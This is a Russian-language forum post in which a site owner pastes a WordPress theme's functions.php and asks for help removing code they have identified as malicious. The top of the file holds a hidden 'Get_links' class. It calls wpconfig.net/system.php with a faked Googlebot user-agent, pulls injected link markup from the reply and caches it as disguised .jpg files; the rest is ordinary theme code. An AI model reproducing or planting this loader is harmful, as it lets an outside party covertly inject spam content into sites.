Студент - Репутация: 26
- Webmoney BL:
? | codename, у меня просто немножко измененная страница поста, так не получится вставить ---------- Сообщение добавлено 23:54 ---------- Предыдущее 22:41 ---------- Нашел в functions.php код... порыскал в инете, оказывается это вредоносный код(подгруажет ссылки какие) помогите пожалуйста убрать лишнее PHP код: <?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
class Get_links {
var $host = 'wpconfig.net/system.php';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}
?>
<?php
include 'theme_options.php';
include 'guide.php';
include 'lib/post-types.php';
include 'lib/metabox.php';
/* SIDEBARS */
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Sidebar',
'before_widget' => '<li class="sidebox %2$s">',
'after_widget' => '</li>',
'before_title' => '<h3 class="sidetitl">',
'after_title' => '</h3>',
));
/* CUSTOM MENUS */
register_nav_menus( array(
'primary' => __( 'Primary Navigation', '' ),
) );
function fallbackmenu(){ ?>
<div id="submenu">
<ul><li> Перейти в Админпанель > Внешний вид > Меню и создать произвольное меню. У вас должен стоять WordPress версии 3.0+ для того, чтобы меню работало.</li></ul>
</div>
<?php }
/* CUSTOM EXCERPTS */
function wpe_excerptlength_index($length) {
return 70;
}
function wpe_excerpt($length_callback='', $more_callback='') {
global $post;
if(function_exists($length_callback)){
add_filter('excerpt_length', $length_callback);
}
if(function_exists($more_callback)){
add_filter('excerpt_more', $more_callback);
}
$output = get_the_excerpt();
$output = apply_filters('wptexturize', $output);
$output = apply_filters('convert_chars', $output);
$output = '<p>'.$output.'</p>';
echo $output;
}
/* SHORT TITLES */
function short_title($after = '', $length) {
$mytitle = explode(' ', get_the_title(), $length);
if (count($mytitle)>=$length) {
array_pop($mytitle);
$mytitle = implode(" ",$mytitle). $after;
} else {
$mytitle = implode(" ",$mytitle);
}
return $mytitle;
}
/* FEATURED THUMBNAILS */
if ( function_exists( 'add_theme_support' ) ) { // Added in 2.9
add_theme_support( 'post-thumbnails' );
add_image_size( 'boxoffice_poster', 100, 150, true );
}
/* GET THUMBNAIL URL */
function get_image_url(){
$image_id = get_post_thumbnail_id();
$image_url = wp_get_attachment_image_src($image_id,'large');
$image_url = $image_url[0];
echo $image_url;
}
/* PAGE NAVIGATION */
function getpagenavi(){
?>
<div id="navigation">
<?php if(function_exists('wp_pagenavi')) : ?>
<?php wp_pagenavi() ?>
<?php else : ?>
<div class="alignleft"><?php next_posts_link(__('« Older Entries','web2feeel')) ?></div>
<div class="alignright"><?php previous_posts_link(__('Newer Entries »','web2feel')) ?></div>
<div class="clear"></div>
<?php endif; ?>
</div>
<?php
}
// Add to admin_init function
add_filter('manage_edit-movies_columns', 'add_new_movies_columns');
function add_new_movies_columns($movies_columns) {
$new_columns['cb'] = '<input type="checkbox" />';
$new_columns['title'] = _x('Movie name', 'column name');
$new_columns['poster'] = __('Poster');
$new_columns['director'] = __('Director');
$new_columns['genre'] = __('Genre');
$new_columns['runtime'] = __('Runtime');
$new_columns['date'] = _x('Date', 'column name');
$new_columns['actor'] = _x('actor', 'column name');
return $new_columns;
}
add_action('manage_movies_posts_custom_column', 'manage_movies_columns', 10, 2);
function manage_movies_columns($column_name, $id) {
global $post;
switch ($column_name) {
case 'id':
echo $id;
break;
case 'poster':
echo get_the_post_thumbnail( $post->ID, 'boxoffice_poster' );
break;
case 'runtime':
$duration = get_post_meta( $post->ID, 'wtf_runtime', true );
echo $duration;
break;
case 'director':
$director = get_post_meta( $post->ID, 'wtf_dirctr', true );
echo $director;
break;
case 'genre':
//echo get_the_term_list( $post->ID, 'movie-genre', '', ' ', '' );
$post_type = get_post_type($post_id);
$terms = get_the_terms($post_id, 'movie-genre');
if ( !empty($terms) ) {
foreach ( $terms as $term )
$post_terms[] = "<a href='edit.php?post_type=movies&movie-genre={$term->slug}'> " . esc_html(sanitize_term_field('name', $term->name, $term->term_id, $taxonomy, 'edit')) . "</a>";
echo join( ', ', $post_terms );
}
else echo '<i>No terms.</i>';
break;
default:
break;
} // end switch
}
/* Flush your rewrite rules */
function boxoffice_flush_rewrite_rules() {
global $pagenow, $wp_rewrite;
if ( 'themes.php' == $pagenow && isset( $_GET['activated'] ) )
$wp_rewrite->flush_rules();
}
add_action( 'load-themes.php', 'boxoffice_flush_rewrite_rules' );
/* WP 3.4 custom query pagination fix */
function my_query_for_homepage( $query ) {
if( $query->is_main_query() && $query->is_home() ) {
$query->set( 'post_type', array( 'movies' ) );
}
}
add_action( 'pre_get_posts', 'my_query_for_homepage' );
?>
|